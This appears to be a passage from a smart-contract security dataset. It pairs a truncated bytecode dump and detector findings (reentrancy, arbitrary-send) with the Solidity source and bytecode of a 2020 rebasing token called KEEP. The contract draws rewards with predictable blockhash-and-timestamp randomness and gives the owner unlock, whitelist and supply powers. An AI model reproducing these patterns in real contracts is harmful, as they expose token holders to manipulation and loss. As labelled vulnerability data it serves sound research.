2613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220de0cd13965019c746791341c4395c3c03ccd6f2cdb605420471518e35edbfc3664736f6c63430008030033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,978 |
0xe091fb780717caba9da88aee56c82608129efa98 | /**
*Submitted for verification at Etherscan.io on 2020-08-22
*/
pragma solidity 0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Keep is Ownable {
using SafeMath for uint256;
modifier validRecipient(address account) {
//require(account != address(0x0));
require(account != address(this));
_;
}
struct keeper {
uint256 snapshotPeriod;
uint256 snapshotBalance;
}
// events
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event LogWhitelisted(address indexed addr);
event LogUnlocked(uint256 timestamp);
event Logstopinflations(uint256 totalSupply);
event Logkeep(uint256 indexed period, uint256 candidatesLength, uint256 estimatedkeepers, uint256 keepedToken, uint256 availableUnits);
// public constants
string public constant name = "Keepstake.finance";
string public constant symbol = "KEEP";
uint256 public constant decimals = 9;
// private constants
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant INITIAL_TOKENS = 21 * 10**6;
uint256 private constant INITIAL_SUPPLY = INITIAL_TOKENS * 10**decimals;
uint256 private constant TOTAL_UNITS = MAX_UINT256 - (MAX_UINT256 % INITIAL_SUPPLY);
uint256 private constant POOL_SIZE = 50; // 50%
uint256 private constant INIT_POOL_FACTOR = 60;
uint256 private constant keep_MIN_BALANCE = 1000 * 10**decimals;
uint256 private constant keep_ADDRESS_LIMIT = 1000;
uint256 private constant TIMELOCK_TIME = 72 hours;
uint256 private constant HALVING_PERIOD = 30;
// mappings
mapping(address => uint256) private _balances;
mapping(address => mapping (address => uint256)) private _allowances;
mapping(address => bool) private _whitelist;
mapping(address => keeper) private _keepers;
mapping(address => bool) private _knownAddresses;
mapping(uint256 => address) private _addresses;
uint256 _addressesLength;
// ints
uint256 private _totalSupply;
uint256 private _unitsPerToken;
uint256 private _initialPoolToken;
uint256 private _poolBalance;
uint256 private _poolFactor;
uint256 private _period;
uint256 private _timelockkeeping;
uint256 private _timelockstopinflations;
// bools
bool private _lockTransfer;
bool private _lockkeeping;
constructor() public override {
_owner = msg.sender;
// set toal supply = initial supply
_totalSupply = INITIAL_SUPPLY;
// set units per token based on total supply
_unitsPerToken = TOTAL_UNITS.div(_totalSupply);
// set pool balance = TOTAL_UNITS / 100 * POOL_SIZE
_poolBalance = TOTAL_UNITS / 100 * POOL_SIZE;
// set initial pool token balance
_initialPoolToken = _poolBalance.div(_unitsPerToken);
// set initial pool factor
_poolFactor = INIT_POOL_FACTOR;
// set owner balance
_balances[_owner] = TOTAL_UNITS - _poolBalance;
// init locks & set defaults
_lockTransfer = true;
_lockkeeping = true;
emit Transfer(address(0x0), _owner, _totalSupply.sub(_initialPoolToken));
}
function whitelistAdd(address addr) external onlyOwner {
_whitelist[addr] = true;
emit LogWhitelisted(addr);
}
// main unlock function
// 1. set period
// 2. set timelocks
// 3. allow token transfer
function unlock() external onlyOwner {
require(_period == 0, "contract is unlocked");
_period = 1;
_timelockkeeping = now.add(TIMELOCK_TIME);
_timelockstopinflations = now.add(TIMELOCK_TIME);
_lockTransfer = false;
_lockkeeping = false;
emit LogUnlocked(block.timestamp);
}
// stopinflations stuff
function stopinflations() external onlyOwner {
require(_lockTransfer == false, "contract is locked");
require(_timelockstopinflations < now, "also stopinflations need time to rest");
_timelockstopinflations = now.add(TIMELOCK_TIME);
_totalSupply = _totalSupply.sub(_totalSupply.div(100));
_unitsPerToken = TOTAL_UNITS.div(_totalSupply);
emit Logstopinflations(_totalSupply);
}
function getSnapshotBalance(address addr) private view returns (uint256) {
if (_keepers[addr].snapshotPeriod < _period) {
return _balances[addr];
}
return _keepers[addr].snapshotBalance;
}
// keep
function keep() external onlyOwner {
require(_lockTransfer == false, "contract is locked");
require(_timelockkeeping < now, "timelock is active");
_timelockkeeping = now.add(TIMELOCK_TIME);
// need the sum of all keeper balances to calculate share in keep
uint256 totalkeepersBalance = 0;
// check if address is candidate
address[] memory candidates = new address[](_addressesLength);
uint256 candidatesLength = 0;
for (uint256 i = 0; i < _addressesLength; i++) {
address addr = _addresses[i];
if(addr == address(0x0)) {
continue;
}
uint256 snapbalance = getSnapshotBalance(addr);
// dont put it on the list if too low
if (snapbalance < keep_MIN_BALANCE.mul(_unitsPerToken)) {
continue;
}
// put it on the list if on of both conditions are true
// 1. snapshot is old [no coins moved]
// 2. balance >= snapshot balance [no tokens out]
if ((_keepers[addr].snapshotPeriod < _period) || (_balances[addr] >= snapbalance)) {
candidates[candidatesLength] = addr;
candidatesLength++;
}
}
uint256 estimatedkeepers = 0;
uint256 keepedUnits = 0;
uint256 availableUnits = _initialPoolToken.div(_poolFactor).mul(_unitsPerToken);
if(candidatesLength > 0) {
estimatedkeepers = 1;
// get lucky candidates keepers
uint256 randomNumber = uint256(keccak256(abi.encodePacked((_addressesLength + _poolBalance + _period), now, blockhash(block.number))));
uint256 randomIndex = randomNumber % 10;
uint256 randomOffset = 0;
if (candidatesLength >= 10) {
estimatedkeepers = (candidatesLength - randomIndex - 1) / 10 + 1;
}
if (estimatedkeepers > keep_ADDRESS_LIMIT) {
randomOffset = (randomNumber / 100) % estimatedkeepers;
estimatedkeepers = keep_ADDRESS_LIMIT;
}
address[] memory keepers = new address[](estimatedkeepers);
uint256 keepersLength = 0;
for (uint256 i = 0; i < estimatedkeepers; i++) {
address addr = candidates[(randomIndex + (i + randomOffset) * 10) % candidatesLength];
keepers[keepersLength] = addr;
keepersLength++;
totalkeepersBalance = totalkeepersBalance.add(getSnapshotBalance(addr).div(_unitsPerToken));
}
for (uint256 i = 0; i < keepersLength; i++) {
address addr = keepers[i];
uint256 snapbalance = getSnapshotBalance(addr);
uint256 tokensToAdd = availableUnits.div(_unitsPerToken).mul(snapbalance.div(_unitsPerToken)).div(totalkeepersBalance);
uint256 unitsToAdd = tokensToAdd.mul(_unitsPerToken);
_balances[addr] = _balances[addr].add(unitsToAdd);
keepedUnits = keepedUnits.add(unitsToAdd);
}
if ((keepedUnits < availableUnits) && (keepersLength > 0)) {
address addr = keepers[keepersLength-1];
uint256 rest = availableUnits.sub(keepedUnits);
_balances[addr] = _balances[addr].add(rest);
keepedUnits = keepedUnits.add(rest);
}
if (keepedUnits > 0) {
_poolBalance = _poolBalance.sub(keepedUnits);
}
}
uint256 keepedTokens = 0;
if(keepedUnits > 0) {
keepedTokens = keepedUnits.div(_unitsPerToken);
}
emit Logkeep(_period, candidatesLength, estimatedkeepers, keepedTokens, availableUnits);
if(_period % HALVING_PERIOD == 0) {
_poolFactor = _poolFactor.add(_poolFactor);
}
_period = _period.add(1);
}
function calcShareInTokens(uint256 snapshotToken, uint256 totalkeepersToken, uint256 availableToken) private pure returns(uint256) {
return availableToken.mul(snapshotToken).div(totalkeepersToken);
}
function isOwnerOrWhitelisted(address addr) private view returns (bool) {
if (addr == _owner) {
return true;
}
return _whitelist[addr];
}
function acquaintAddress(address candidate) private returns (bool) {
if((_knownAddresses[candidate] != true) && (candidate != _owner)) {
_knownAddresses[candidate] = true;
_addresses[_addressesLength] = candidate;
_addressesLength++;
return true;
}
return false;
}
function period() public view returns (uint256) {
return _period;
}
function poolBalance() public view returns (uint256) {
return _poolBalance.div(_unitsPerToken);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account].div(_unitsPerToken);
}
function processkeepersBeforeTransfer(address from, address to, uint256 units) private {
// process sender
// if we have no current snapshot, make it
// snapshot is balance before sending
if(_keepers[from].snapshotPeriod < _period) {
_keepers[from].snapshotBalance = _balances[from];
_keepers[from].snapshotPeriod = _period;
} else {
// snapshot is same period, set balance reduced by units (= current balance)
_keepers[from].snapshotBalance = _balances[from].sub(units);
}
// process receiver
// if we have no current snapshot, make it
// snapshot is balance before receiving
if(_keepers[to].snapshotPeriod < _period) {
_keepers[to].snapshotBalance = _balances[to];
_keepers[to].snapshotPeriod = _period;
} else {
// snapshot is same period, nothing to do -> new tokens have to rest at least 1 period
// later in keeping we have also to check the snapshort period and update the balance if < to take care of no transfer/no updated snapshot balance situation
}
}
function transfer(address recipient, uint256 value) public validRecipient(recipient) returns (bool) {
require(((_lockTransfer == false) || isOwnerOrWhitelisted(msg.sender)), 'token transfer is locked');
uint256 units = value.mul(_unitsPerToken);
uint256 newSenderBalance = _balances[msg.sender].sub(units);
processkeepersBeforeTransfer(msg.sender, recipient, units);
_balances[msg.sender] = newSenderBalance;
_balances[recipient] = _balances[recipient].add(units);
acquaintAddress(recipient);
emit Transfer(msg.sender, recipient, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public validRecipient(to) returns (bool) {
require(((_lockTransfer == false) || isOwnerOrWhitelisted(msg.sender)), 'token transfer is locked');
_allowances[from][msg.sender] = _allowances[from][msg.sender].sub(value);
uint256 units = value.mul(_unitsPerToken);
processkeepersBeforeTransfer(from, to, units);
uint256 newSenderBalance = _balances[from].sub(units);
_balances[from] = newSenderBalance;
_balances[to] = _balances[to].add(units);
acquaintAddress(to);
emit Transfer(from, to, value);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_allowances[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_allowances[msg.sender][spender] = _allowances[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowances[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
uint256 oldValue = _allowances[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowances[msg.sender][spender] = 0;
} else {
_allowances[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowances[msg.sender][spender]);
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106101375760003560e01c80638da5cb5b116100b8578063a9059cbb1161007c578063a9059cbb14610558578063b2bdfa7b146105be578063dd62ed3e14610608578063e4d06d8214610680578063ef78d4fd1461068a578063f2fde38b146106a857610137565b80638da5cb5b146103fd57806395d89b411461044757806396365d44146104ca578063a457c2d7146104e8578063a69df4b51461054e57610137565b8063313ce567116100ff578063313ce567146102d357806339509351146102f1578063524fa7b91461035757806370a082311461039b578063715018a6146103f357610137565b806306fdde031461013c578063095ea7b3146101bf5780630cb9c3911461022557806318160ddd1461022f57806323b872dd1461024d575b600080fd5b6101446106ec565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61020b600480360360408110156101d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610725565b604051808215151515815260200191505060405180910390f35b61022d610817565b005b610237610a77565b6040518082815260200191505060405180910390f35b6102b96004803603606081101561026357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a81565b604051808215151515815260200191505060405180910390f35b6102db610e35565b6040518082815260200191505060405180910390f35b61033d6004803603604081101561030757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e3a565b604051808215151515815260200191505060405180910390f35b6103996004803603602081101561036d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611036565b005b6103dd600480360360208110156103b157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611196565b6040518082815260200191505060405180910390f35b6103fb6111f3565b005b610405611374565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61044f61139d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048f578082015181840152602081019050610474565b50505050905090810190601f1680156104bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104d26113d6565b6040518082815260200191505060405180910390f35b610534600480360360408110156104fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113f4565b604051808215151515815260200191505060405180910390f35b610556611684565b005b6105a46004803603604081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061186d565b604051808215151515815260200191505060405180910390f35b6105c6611b11565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61066a6004803603604081101561061e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b36565b6040518082815260200191505060405180910390f35b610688611bbd565b005b6106926124b9565b6040518082815260200191505060405180910390f35b6106ea600480360360208110156106be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124c3565b005b6040518060400160405280601181526020017f4b6565707374616b652e66696e616e636500000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60001515601060009054906101000a900460ff16151514610962576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f636f6e7472616374206973206c6f636b6564000000000000000000000000000081525060200191505060405180910390fd5b42600f54106109bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806130336025913960400191505060405180910390fd5b6109d26203f480426126c990919063ffffffff16565b600f81905550610a026109f1606460085461275190919063ffffffff16565b60085461279b90919063ffffffff16565b600881905550610a366008546009600a0a6301406f400260001981610a2357fe5b066000190361275190919063ffffffff16565b6009819055507f96147436ec4161da8dcea0f0f57bffb48377f8180cd47ee9e5574a858c02d8eb6008546040518082815260200191505060405180910390a1565b6000600854905090565b6000823073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610abd57600080fd5b60001515601060009054906101000a900460ff1615151480610ae45750610ae3336127e5565b5b610b56576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f746f6b656e207472616e73666572206973206c6f636b6564000000000000000081525060200191505060405180910390fd5b610be583600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279b90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000610c7c6009548561289a90919063ffffffff16565b9050610c89868683612920565b6000610cdd82600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279b90919063ffffffff16565b905080600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7582600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126c990919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dc186612bff565b508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3600193505050509392505050565b600981565b6000610ecb82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126c990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f8903e080b5c69a152a91cd02601be1ae6016a2e837de3a938084856cfacbbbfa60405160405180910390a250565b60006111ec600954600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461275190919063ffffffff16565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600481526020017f4b4545500000000000000000000000000000000000000000000000000000000081525081565b60006113ef600954600b5461275190919063ffffffff16565b905090565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808310611504576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611598565b611517838261279b90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611746576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600d54146117be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f636f6e747261637420697320756e6c6f636b656400000000000000000000000081525060200191505060405180910390fd5b6001600d819055506117dc6203f480426126c990919063ffffffff16565b600e819055506117f86203f480426126c990919063ffffffff16565b600f819055506000601060006101000a81548160ff0219169083151502179055506000601060016101000a81548160ff0219169083151502179055507fd7d780a3bd95c768e98ce5ef684c4dec35996ca55524e8c86c53e780b5d3715a426040518082815260200191505060405180910390a1565b6000823073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156118a957600080fd5b60001515601060009054906101000a900460ff16151514806118d057506118cf336127e5565b5b611942576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f746f6b656e207472616e73666572206973206c6f636b6564000000000000000081525060200191505060405180910390fd5b60006119596009548561289a90919063ffffffff16565b905060006119af82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279b90919063ffffffff16565b90506119bc338784612920565b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a5282600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126c990919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a9e86612bff565b508573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a36001935050505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c7f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60001515601060009054906101000a900460ff16151514611d08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f636f6e7472616374206973206c6f636b6564000000000000000000000000000081525060200191505060405180910390fd5b42600e5410611d7f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f74696d656c6f636b20697320616374697665000000000000000000000000000081525060200191505060405180910390fd5b611d956203